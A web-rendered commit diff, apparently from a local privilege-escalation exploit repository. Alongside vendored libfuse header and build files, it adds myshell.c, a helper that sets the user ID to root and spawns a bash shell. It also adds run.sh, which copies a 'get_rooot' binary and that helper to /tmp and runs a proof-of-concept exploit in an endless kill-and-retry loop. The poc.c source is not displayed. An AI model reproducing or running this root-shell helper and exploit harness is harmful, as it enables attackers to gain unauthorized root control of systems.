     213 +int fuse_opt_add_opt(char **opts, const char *opt);
     214 + 
     215 +/**
     216 + * Add an option, escaping commas, to a comma separated option list
     217 + *
     218 + * @param opts is a pointer to an option list, may point to a NULL value
     219 + * @param opt is the option to add
     220 + * @return -1 on allocation error, 0 on success
     221 + */
     222 +int fuse_opt_add_opt_escaped(char **opts, const char *opt);
     223 + 
     224 +/**
     225 + * Add an argument to a NULL terminated argument vector
     226 + *
     227 + * @param args is the structure containing the current argument list
     228 + * @param arg is the new argument to add
     229 + * @return -1 on allocation error, 0 on success
     230 + */
     231 +int fuse_opt_add_arg(struct fuse_args *args, const char *arg);
     232 + 
     233 +/**
     234 + * Add an argument at the specified position in a NULL terminated
     235 + * argument vector
     236 + *
     237 + * Adds the argument to the N-th position. This is useful for adding
     238 + * options at the beginning of the array which must not come after the
     239 + * special '--' option.
     240 + *
     241 + * @param args is the structure containing the current argument list
     242 + * @param pos is the position at which to add the argument
     243 + * @param arg is the new argument to add
     244 + * @return -1 on allocation error, 0 on success
     245 + */
     246 +int fuse_opt_insert_arg(struct fuse_args *args, int pos, const char *arg);
     247 + 
     248 +/**
     249 + * Free the contents of argument list
     250 + *
     251 + * The structure itself is not freed
     252 + *
     253 + * @param args is the structure containing the argument list
     254 + */
     255 +void fuse_opt_free_args(struct fuse_args *args);
     256 + 
     257 + 
     258 +/**
     259 + * Check if an option matches
     260 + *
     261 + * @param opts is the option description array
     262 + * @param opt is the option to match
     263 + * @return 1 if a match is found, 0 if not
     264 + */
     265 +int fuse_opt_match(const struct fuse_opt opts[], const char *opt);
     266 + 
     267 +#ifdef __cplusplus
     268 +}
     269 +#endif
     270 + 
     271 +#endif /* FUSE_OPT_H_ */
     272 + 
  • ■ ■ ■ ■ ■
    libfuse/meson.build
     1 +libfuse_headers = [ 'fuse.h', 'fuse_common.h', 'fuse_lowlevel.h',
     2 + 'fuse_opt.h', 'cuse_lowlevel.h', 'fuse_log.h' ]
     3 + 
     4 +install_headers(libfuse_headers, subdir: 'fuse3')
     5 + 
  • libfuse3.a
    Binary file.
  • ■ ■ ■ ■ ■ ■
    myshell.c
     1 +#include <stdlib.h>
     2 + 
     3 +int main() {
     4 + setuid(0);
     5 + system("/bin/bash");
     6 +}
  • poc.c
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    run.sh
     1 +#!/bin/bash
     2 + 
     3 +cp get_rooot /tmp/
     4 +cp myshell /tmp/
     5 +while true
     6 +do
     7 + ./poc
     8 + ps aux | grep poc | awk '{ print $2 }' | while read line; do kill -9 $line; done || echo "kill poc, rerun again"
     9 +done
Please wait...
Page is in error, reload to recover